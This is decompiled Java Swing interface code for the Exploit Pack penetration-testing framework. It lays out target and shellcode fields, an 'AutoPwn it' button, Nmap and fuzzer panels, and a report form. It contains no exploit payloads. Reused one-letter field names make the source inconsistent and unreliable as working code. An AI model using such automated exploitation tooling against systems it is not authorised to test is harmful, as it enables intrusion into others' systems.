    this.x.setFocusable(false);
    this.x.setVerticalTextPosition(3);
    this.x.addActionListener((ActionListener)new cs(this));
    this.a.add(this.x);
    this.a.add(this.c);
    this.f.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/if_text-x-hex_9105.png")));
    this.f.setText("HexEditor");
    this.f.setEnabled(false);
    this.f.setFocusable(false);
    this.f.setVerticalTextPosition(3);
    this.f.addActionListener((ActionListener)new ct(this));
    this.a.add(this.f);
    this.a.add(this.z);
    this.E.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1491936605_wizard.png")));
    this.E.setText("VBS Wizard");
    this.E.setFocusable(false);
    this.E.setVerticalTextPosition(3);
    this.E.addActionListener((ActionListener)new cv(this));
    this.a.add(this.E);
    this.a.add(this.l);
    this.C.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/registerkey.png")));
    this.C.setText("Register");
    this.C.setFocusable(false);
    this.C.setVerticalTextPosition(3);
    this.C.addActionListener((ActionListener)new cw(this));
    this.a.add(this.C);
    this.a.add(this.A);
    this.G.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/iconfinder_SocialMedia_Discord-Outline_2959743.png")));
    this.G.setText("Discord");
    this.G.setFocusable(false);
    this.G.setVerticalTextPosition(3);
    this.G.addActionListener((ActionListener)new cx(this));
    this.a.add(this.G);
    this.a.add(this.C);
    this.H.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/if_Hola_2744997.png")));
    this.H.setText("Advisories");
    this.H.setFocusable(false);
    this.H.setVerticalTextPosition(3);
    this.H.addActionListener((ActionListener)new cy(this));
    this.a.add(this.H);
    this.a.setBackground(Color.white);
    this.a.setCursor(new Cursor(0));
    this.a.addMouseListener((MouseListener)new cz(this));
    this.J.setBackground(Color.white);
    this.c.setBackground(Color.white);
    this.c.setBorder(BorderFactory.createTitledBorder(new LineBorder(new Color(0, 0, 0), 1, true), "Target Properties", 0, 2));
    this.a.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/project.png")));
    this.a.setText("Project:");
    this.b.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/target.png")));
    this.b.setText("Target:");
    this.c.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/port.png")));
    this.c.setText("Port:");
    this.d.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/path.png")));
    this.d.setText("Path:");
    this.L.setText("Exploit Pack");
    this.Q.setText("127.0.0.1");
    this.Q.addMouseListener((MouseListener)new cA(this));
    this.R.setText("8080");
    this.R.addMouseListener((MouseListener)new cB(this));
    this.S.setText("/path/example");
    this.y.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/shellcode.png")));
    this.y.setText("Shellcode type:");
    this.e.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/options.png")));
    this.e.setText("Special args:");
    this.e.setToolTipText("");
    this.B.setText("touch /tmp/ep");
    this.B.addMouseListener((MouseListener)new cC(this));
    this.B.addActionListener((ActionListener)new cD(this));
    this.V.setText("4444");
    this.f.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/localport.png")));
    this.f.setText("Shell data/port:");
    this.g.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/home.png")));
    this.g.setText("Local hostname:");
    this.b.setModel(new DefaultComboBoxModel<>(new String[] { "Shellcode.." }));
    this.G.setText("My Computer");
    groupLayout3 = new GroupLayout(this.c);
    this.c.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.b).addComponent(this.c).addComponent(this.d).addComponent(this.a)).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.TRAILING, false).addComponent(this.R, GroupLayout.Alignment.LEADING).addComponent(this.Q, GroupLayout.Alignment.LEADING).addComponent(this.L, GroupLayout.Alignment.LEADING).addComponent(this.S, -1, 177, 32767)).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED, 27, 32767).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING, false).addComponent(this.e, -1, -1, 32767).addComponent(this.g, -1, -1, 32767).addComponent(this.y, -1, -1, 32767).addComponent(this.f, -1, -1, 32767)).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.TRAILING, false).addComponent(this.B).addComponent(this.b, 0, 172, 32767).addComponent(this.V).addComponent(this.G)).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addComponent(this.G, -2, -1, -2).addGap(12, 12, 12).addComponent(this.V, -2, -1, -2).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addComponent(this.B, -2, -1, -2).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addComponent(this.b, -2, -1, -2)).addGroup(groupLayout3.createSequentialGroup().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.L, -2, -1, -2).addComponent(this.a).addComponent(this.g)).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.Q, -2, -1, -2).addComponent(this.b).addComponent(this.f)).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.R, -2, -1, -2).addComponent(this.c).addComponent(this.e)).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.S, -2, -1, -2).addComponent(this.d).addComponent(this.y)))).addContainerGap()));
    this.F.setBackground(Color.white);
    this.b.setFloatable(false);
    this.b.setRollover(true);
    this.n.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/openexploit.png")));
    this.n.setText("Add Module");
    this.n.setFocusable(false);
    this.n.setVerticalTextPosition(3);
    this.n.addActionListener((ActionListener)new cE(this));
    this.b.add(this.n);
    this.b.add(this.f);
    this.A.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/iconfinder_Undo_27885.png")));
    this.A.setToolTipText("Undo");
    this.A.setFocusable(false);
    this.A.setHorizontalTextPosition(4);
    this.A.setVerticalTextPosition(3);
    this.A.addActionListener((ActionListener)new cG(this));
    this.b.add(this.A);
    this.r.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/iconfinder_Redo_27872.png")));
    this.r.setToolTipText("Redo");
    this.r.setFocusable(false);
    this.r.setVerticalTextPosition(3);
    this.r.addActionListener((ActionListener)new cH(this));
    this.b.add(this.r);
    this.b.add(this.y);
    this.y.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/newexploit.png")));
    this.y.setText("Edit");
    this.y.setFocusable(false);
    this.y.setVerticalTextPosition(3);
    this.y.addActionListener((ActionListener)new cI(this));
    this.b.add(this.y);
    this.b.add(this.v);
    this.o.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/saveexploit.png")));
    this.o.setText("Save");
    this.o.setToolTipText("CTRL+S");
    this.o.setFocusable(false);
    this.o.setVerticalTextPosition(3);
    this.o.addActionListener((ActionListener)new cJ(this));
    this.b.add(this.o);
    this.b.add(this.g);
    this.z.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/if_31_Task_106214.png")));
    this.z.setText("Clear");
    this.z.setFocusable(false);
    this.z.setHorizontalTextPosition(4);
    this.z.setVerticalTextPosition(3);
    this.z.addActionListener((ActionListener)new cK(this));
    this.b.add(this.z);
    this.b.add(this.h);
    this.q.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/exploitpreferences.png")));
    this.q.setText("Current interpreter: ");
    this.q.setToolTipText("Change interpreter");
    this.q.setFocusable(false);
    this.q.setVerticalTextPosition(3);
    this.q.addActionListener((ActionListener)new cL(this));
    this.b.add(this.q);
    this.b.add(this.i);
    this.Q.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/if_terminal_298878.png")));
    this.Q.setText("Debug on local");
    this.Q.setFocusable(false);
    this.Q.setVerticalTextPosition(3);
    this.Q.addActionListener((ActionListener)new cM(this));
    this.b.add(this.Q);
    this.K.setBackground(Color.white);
    this.K.setBorder(new LineBorder(new Color(0, 0, 0), 1, true));
    this.K.setAutoscrolls(true);
    this.K.setCursor(new Cursor(0));
    this.K.addKeyListener((KeyListener)new cN(this));
    this.K.setLayout(new BorderLayout());
    groupLayout3 = new GroupLayout(this.F);
    this.F.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.b, -2, -1, -2).addComponent(this.K, -1, -1, 32767)).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addComponent(this.b, -2, 25, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.K, -1, -1, 32767)));
    this.l.setBackground(Color.white);
    this.l.setBorder(BorderFactory.createTitledBorder(new LineBorder(new Color(0, 0, 0), 1, true), "Exploit Pack Console", 0, 2));
    this.R.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/arrow-right-16.png")));
    this.R.setText("Run");
    this.R.addActionListener((ActionListener)new cO(this));
    this.M.setBackground(Color.black);
    this.M.setFont(new Font("Monospaced", 0, 12));
    this.M.setForeground(Color.green);
    this.M.setText("Type here your commands  and press enter..");
    this.M.addMouseListener((MouseListener)new cP(this));
    this.M.addKeyListener((KeyListener)new cR(this));
    this.o.setEditable(false);
    this.o.setBackground(new Color(1, 1, 1));
    this.o.setColumns(20);
    this.o.setFont(new Font("Monospaced", 0, 10));
    this.o.setForeground(Color.white);
    this.o.setRows(5);
    this.o.setText("WARNING: There is no warranty for this piece of software.\nExploit Pack is a learning platform for exploit development in controlled environments, \nplease DO NOT misuse this tool.\nThe programs or scripts included with Exploit Pack are free software; the exact distribution terms\nfor each one are described in the individual files.\n\nKeep Exploit Pack up-to-date, check: https://exploitpack.com for the\nmost recent version of this software.\n\n      :::::::::::::    :::::::::::: :::       :::::::::::::::::::::::::::::: \n     :+:       :+:    :+::+:    :+::+:      :+:    :+:   :+:        :+:      \n    +:+        +:+  +:+ +:+    +:++:+      +:+    +:+   +:+        +:+       \n   +#++:++#    +#++:+  +#++:++#+ +#+      +#+    +:+   +#+        +#+        \n  +#+        +#+  +#+ +#+       +#+      +#+    +#+   +#+        +#+         \n #+#       #+#    #+##+#       #+#      #+#    #+#   #+#        #+#          \n#############    ######       #############################    ###        \n\n     :::::::::    :::     :::::::: :::    ::: \n     :+:    :+: :+: :+:  :+:    :+::+:   :+:   \n    +:+    +:++:+   +:+ +:+       +:+  +:+     \n   +#++:++#++#++:++#++:+#+       +#++:++       \n  +#+      +#+     +#++#+       +#+  +#+       \n #+#      #+#     #+##+#    #+##+#   #+#       \n###      ###     ### ######## ###    ### \n\n\"Whitout followers, it cannot spread\" - Star Trek, Season 3, Episode 5\n\n[*] Ready to start? Type ? for help.\n\n");
    this.b.setViewportView(this.o);
    this.S.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/edit-clear.png")));
    this.S.addActionListener((ActionListener)new cS(this));
    groupLayout3 = new GroupLayout(this.l);
    this.l.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.b).addGroup(groupLayout3.createSequentialGroup().addComponent(this.M).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.S, -2, 26, -2).addGap(2, 2, 2).addComponent(this.R))).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addComponent(this.b, -1, 531, 32767).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING, false).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.R).addComponent(this.M, -2, -1, -2)).addComponent(this.S, -1, -1, 32767)).addContainerGap()));
    groupLayout3 = new GroupLayout(this.J);
    this.J.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING, false).addComponent(this.l, -1, -1, 32767).addComponent(this.c, -1, -1, 32767)).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.F, -1, -1, 32767).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(GroupLayout.Alignment.TRAILING, groupLayout3.createSequentialGroup().addContainerGap().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.TRAILING).addGroup(groupLayout3.createSequentialGroup().addComponent(this.c, -2, -1, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.l, -1, -1, 32767)).addComponent(this.F, -1, -1, 32767)).addContainerGap()));
    this.a.addTab("Home", this.J);
    this.j.setBackground(Color.white);
    this.r.setBackground(Color.white);
    this.c.setBackground(Color.white);
    this.c.setBorder((Border)null);
    this.c.setFloatable(false);
    this.c.setRollover(true);
    this.E.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/computer.png")));
    this.E.setText("Target: ");
    this.c.add(this.E);
    this.P.setText("Selection");
    this.c.add(this.P);
    this.c.add(this.q);
    this.I.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/shellcode.png")));
    this.I.setText("OS Platform: ");
    this.c.add(this.I);
    this.O.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/buglittle.png")));
    this.c.add(this.O);
    this.c.add(this.n);
    this.d.setText("Owned");
    this.c.add(this.d);
    this.c.add(this.u);
    this.v.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/agent.png")));
    this.v.setText("Run Nmap");
    this.v.setFocusable(false);
    this.v.setVerticalTextPosition(3);
    this.v.addActionListener((ActionListener)new cT(this));
    this.c.add(this.v);
    this.c.add(this.m);
    this.t.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/90-16.png")));
    this.t.setText("Delete");
    this.t.setFocusable(false);
    this.t.setVerticalTextPosition(3);
    this.t.addActionListener((ActionListener)new cU(this));
    this.c.add(this.t);
    this.c.add(this.t);
    this.u.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/robotauto.png")));
    this.u.setText("AutoPwn it");
    this.u.setFocusable(false);
    this.u.setVerticalTextPosition(3);
    this.u.addActionListener((ActionListener)new cV(this));
    this.c.add(this.u);
    this.c.add(this.p);
    this.m.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1316134049_table_save.png")));
    this.m.setText("Save");
    this.m.addActionListener((ActionListener)new cW(this));
    this.c.add(this.m);
    this.c.add(this.s);
    groupLayout3 = new GroupLayout(this.r);
    this.r.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(GroupLayout.Alignment.TRAILING, groupLayout3.createSequentialGroup().addComponent(this.c, -1, 1038, 32767).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addComponent(this.c, -2, 25, -2).addGap(0, 3, 32767)));
    this.L.setLayout(new BorderLayout());
    groupLayout3 = new GroupLayout(this.j);
    this.j.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.r, -1, -1, 32767).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.L, -1, -1, 32767))).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.r, -2, -1, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.L, -1, -1, 32767).addContainerGap()));
    this.a.addTab("Targets", this.j);
    this.d.setBackground(Color.white);
    this.f.setBackground(Color.white);
    this.f.setBorder(BorderFactory.createTitledBorder("Fuzzer Dashboard"));
    this.k.setBackground(Color.black);
    this.k.setColumns(20);
    this.k.setFont(new Font("Monospaced", 0, 12));
    this.k.setForeground(Color.green);
    this.k.setRows(5);
    this.k.setText("Remote fuzzer log output starts here.. Press start to run!\n[*] Requirements: SCAPY installed and configured on your environment.\n[!] Get Scapy from here: https://github.com/secdev/scapy\n\nUsage: Fuzzer.py [OPTION] hostname port payload\n[*] Mandatory arguments:\n[-] Specify a hostname and a target\n[-] Choose server or client depends on your application\n\n[*] Optional arguments:\n[-] Use a custom payload if you want to append something!\n[*] From a console: \"python FuzzerTCP.py server/client ipaddress port\"\n\n");
    this.k.setDoubleBuffered(true);
    this.k.setMaximumSize(new Dimension(0, 0));
    this.f.setViewportView(this.k);
    this.D.setText("Hostname/IP:");
    this.N.setBackground(Color.red);
    this.N.setForeground(Color.white);
    this.N.setText("Start Fuzzer");
    this.N.setEnabled(false);
    this.N.addMouseListener((MouseListener)new cX(this));
    this.N.addActionListener((ActionListener)new cY(this));
    this.E.setText("127.0.0.1");
    this.E.addMouseListener((MouseListener)new cZ(this));
    this.h.setModel(new DefaultComboBoxModel<>(new String[] { "Client", "Server" }));
    this.v.setText("Selection:");
    this.F.setText("Port:");
    this.F.setText("2000");
    this.F.addMouseListener((MouseListener)new da(this));
    this.F.addActionListener((ActionListener)new dc(this));
    this.G.setText("Custom payload:");
    this.O.setBackground(Color.orange);
    this.O.setText("Skeleton!");
    this.O.setEnabled(false);
    this.O.addMouseListener((MouseListener)new dd(this));
    this.O.addActionListener((ActionListener)new de(this));
    this.p.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/edit-clear.png")));
    this.p.addActionListener((ActionListener)new df(this));
    this.H.setText("1");
    this.K.setText("Multiplier:");
    groupLayout3 = new GroupLayout(this.f);
    this.f.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.f).addGroup(groupLayout3.createSequentialGroup().addComponent(this.D).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.E, -2, 189, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.F).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.F, -2, 52, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.v).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.h, -2, -1, -2).addGap(18, 18, 18).addComponent(this.G).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.v).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addComponent(this.K).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addComponent(this.H, -2, 61, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.p).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.O).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.N))).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.p).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.D).addComponent(this.N).addComponent(this.E, -2, -1, -2).addComponent(this.h, -2, -1, -2).addComponent(this.v).addComponent(this.F).addComponent(this.F, -2, -1, -2).addComponent(this.G).addComponent(this.v, -2, -1, -2).addComponent(this.O).addComponent(this.H, -2, -1, -2).addComponent(this.K))).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.f, -1, 741, 32767).addContainerGap()));
    groupLayout3 = new GroupLayout(this.d);
    this.d.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.f, -1, -1, 32767).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.f, -1, -1, 32767).addContainerGap()));
    this.a.addTab("TCP Fuzzer", this.d);
    this.z.setBackground(Color.white);
    this.A.setBackground(Color.white);
    this.A.setBorder(BorderFactory.createTitledBorder("Fuzzer Dashboard"));
    this.l.setBackground(Color.black);
    this.l.setColumns(20);
    this.l.setFont(new Font("Monospaced", 0, 12));
    this.l.setForeground(Color.green);
    this.l.setRows(5);
    this.l.setText("[*] Exploit Pack - Local Fuzzer <jsacco@exploitpack.com>\n[*] Example usage: FuzzerLocal /usr/bin/binary A -noargs -debruijn -lower -upper -random\n[!] Basic usage: FuzzerLocal binary CHAR\nArguments list:\n-all - Use all posible options and methods\n-noargs - Fuzz the binary without arguments\n-debruijn - Use a De Bruijn sequence pattern\n-lower - Brute force binary options using abcdefghijklmnopqrstubwxyz and - / --\n-upper - Brute force binary options using ABCDEFGHIJKLMNOPQRSTUVWXYZ and - / --\n-random - Use a list of random arguments to bruteforce options\n-logname - Use a different log name\n\n");
    this.h.setViewportView(this.l);
    this.P.setBackground(Color.red);
    this.P.setForeground(Color.white);
    this.P.setText("Start Fuzzer");
    this.P.setEnabled(false);
    this.P.addMouseListener((MouseListener)new dg(this));
    this.P.addActionListener((ActionListener)new dh(this));
    this.L.setText("Char:");
    this.L.addMouseListener((MouseListener)new di(this));
    this.D.setText("A");
    this.M.setText("Select a binary or list:");
    this.F.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/Folder_o.gif")));
    this.F.setText("Open");
    this.F.addMouseListener((MouseListener)new dj(this));
    this.g.setText("NoArgs");
    this.i.setText("Random");
    this.h.setText("De Bruijn");
    this.f.setText("LowerCase");
    this.k.setText("UpperCase");
    this.e.setText("All");
    groupLayout3 = new GroupLayout(this.A);
    this.A.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.h).addGroup(groupLayout3.createSequentialGroup().addComponent(this.M).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.C, -2, 460, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.F).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED, -1, 32767).addComponent(this.L).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addComponent(this.D, -2, 60, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.g).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.i).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.h).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.f).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.k).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.e).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addComponent(this.P))).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.P).addComponent(this.C, -2, -1, -2).addComponent(this.M).addComponent(this.F)).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.L).addComponent(this.D, -2, -1, -2).addComponent(this.g).addComponent(this.i).addComponent(this.h).addComponent(this.f).addComponent(this.k).addComponent(this.e))).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.h, -1, 695, 32767).addContainerGap()));
    groupLayout3 = new GroupLayout(this.z);
    this.z.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.A, -1, -1, 32767).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.A, -1, -1, 32767).addContainerGap()));
    this.a.addTab("Local Fuzzer", this.z);
    this.G.setBackground(Color.white);
    this.I.setBackground(Color.white);
    this.e.setBackground(Color.white);
    this.e.setBorder(BorderFactory.createTitledBorder(new LineBorder(new Color(0, 0, 0), 1, true), "Report properties"));
    this.h.setText("Report name:");
    this.J.addMouseListener((MouseListener)new dk(this));
    this.J.addActionListener((ActionListener)new dl(this));
    this.o.setText("Subtitle:");
    this.K.addMouseListener((MouseListener)new dn(this));
    this.p.setText("Image logo:");
    this.I.setText("/image/path");
    this.i.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/open.png")));
    this.i.setText("Select");
    this.i.setEnabled(false);
    this.i.addActionListener((ActionListener)new do(this));
    groupLayout3 = new GroupLayout(this.e);
    this.e.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addGap(8, 8, 8).addComponent(this.h, -2, 87, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.J, -2, 241, -2).addGap(18, 18, 18).addComponent(this.o).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.K).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addComponent(this.p).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.I, -2, 216, -2).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addComponent(this.i).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.h).addComponent(this.J, -2, -1, -2).addComponent(this.o).addComponent(this.K, -2, -1, -2).addComponent(this.p).addComponent(this.I, -2, -1, -2).addComponent(this.i)).addContainerGap(-1, 32767)));
    this.k.setBackground(Color.white);
    this.k.setBorder(BorderFactory.createTitledBorder(new LineBorder(new Color(0, 0, 0), 1, true), "Recommendations ( Footer )"));
    this.m.setColumns(20);
    this.m.setLineWrap(true);
    this.m.setRows(5);
    this.p.setViewportView(this.m);
    groupLayout3 = new GroupLayout(this.k);
    this.k.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.p, -1, 497, 32767).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(GroupLayout.Alignment.TRAILING, groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.p, -1, 481, 32767).addContainerGap()));
    this.g.setBackground(Color.white);
    this.g.setBorder(BorderFactory.createTitledBorder(new LineBorder(new Color(0, 0, 0), 1, true), "Custom finding: 1"));
    this.f.setModel(new DefaultComboBoxModel<>(new String[] { "Low", "Normal", "Higher", "Critical" }));
    this.q.setText("Name:");
    this.w.setText("vulnerability name..");
    this.r.setText("Risk level:");
    this.s.setText("Description:");
    this.y.setText("The webserver is prone to stack buffer overflow by abusing of CVE: 123");
    groupLayout3 = new GroupLayout(this.g);
    this.g.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.q).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addComponent(this.w, -2, 235, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.r).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.f, -2, 84, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.s).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.y, -2, 1, 32767).addContainerGap()));
